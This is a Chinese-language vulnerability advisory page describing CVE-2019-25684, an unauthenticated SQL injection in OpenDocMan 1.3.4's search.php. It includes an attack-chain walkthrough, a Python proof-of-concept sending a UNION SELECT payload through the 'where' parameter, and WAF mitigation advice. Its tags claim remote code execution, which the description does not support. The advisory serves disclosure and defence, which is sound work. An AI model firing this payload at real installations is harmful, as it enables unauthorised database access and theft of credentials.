IPBUF安全漏洞报告
English
CVE-2019-25684 CVSS 8.2 高危

CVE-2019-25684 OpenDocMan SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25684
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenDocMan

相关标签

SQL注入OpenDocManCVE-2019-25684远程代码执行无需认证

漏洞概述

OpenDocMan 1.3.4版本中被发现存在一个严重的SQL注入安全漏洞。由于该软件在处理搜索功能时未能正确过滤用户输入,未经身份认证的远程攻击者可以利用这一缺陷。通过向search.php页面发送包含恶意SQL语句的GET请求,并在'where'参数中注入攻击代码,攻击者能够成功操纵后端数据库查询。这一漏洞可能导致数据库中的敏感信息被非法读取和提取,对系统安全性构成严重威胁。

技术细节

该漏洞位于OpenDocMan的search.php文件中,具体涉及对'where'参数的处理。开发人员未对该参数进行有效的安全检查,直接将其拼接到SQL查询语句中,导致了经典的SQL注入漏洞。攻击者无需拥有系统账户(利用了PR:N漏洞),即可通过网络发起攻击。利用方式主要通过构造包含SQL元字符(如单引号)和UNION SELECT语句的Payload,使数据库执行额外的查询。攻击者可以利用此技术提取数据库版本、表结构、管理员密码哈希等敏感数据。CVSS v3.1基准评分为8.2,反映了其对机密性(C:H)和完整性(I:L)的高影响,且利用复杂度低(AC:L),无需用户交互(UI:N),这使得该漏洞极易被自动化工具大规模利用。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标服务器上运行的是OpenDocMan 1.3.4版本。
STEP 2
2. 漏洞探测
攻击者向search.php发送带有单引号等SQL注入测试字符的请求,观察响应是否异常,以确认SQL注入漏洞的存在。
STEP 3
3. 构造Payload
攻击者构造恶意的SQL查询载荷(如UNION SELECT语句),并将其放入'where'参数中。
STEP 4
4. 发送恶意请求
攻击者向目标发送包含恶意Payload的GET请求,服务器后端将其拼接到SQL语句并执行。
STEP 5
5. 数据获取
攻击者解析HTTP响应,获取数据库中的敏感信息(如用户名、密码哈希等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2019-25684 # This script demonstrates the SQL injection vulnerability in OpenDocMan 1.3.4 import requests def exploit(target_url): # The vulnerable endpoint is search.php with the 'where' parameter url = f"{target_url}/search.php" # Malicious SQL payload to extract database version # Using UNION SELECT to extract data payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -" params = { "where": payload } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent to: {response.url}") print("[+] Response content snippet:") print(response.text[:500]) # Print first 500 chars to verify injection else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost/opendocman" # Replace with actual target exploit(target)

影响范围

OpenDocMan 1.3.4

防御指南

临时缓解措施
建议在Web应用防火墙(WAF)中部署规则,拦截针对search.php的异常请求,特别是检测'where'参数中的SQL注入特征(如单引号、UNION、SELECT等关键字)。如果无法立即升级,请考虑暂时禁用搜索功能或仅允许受信任的IP地址访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表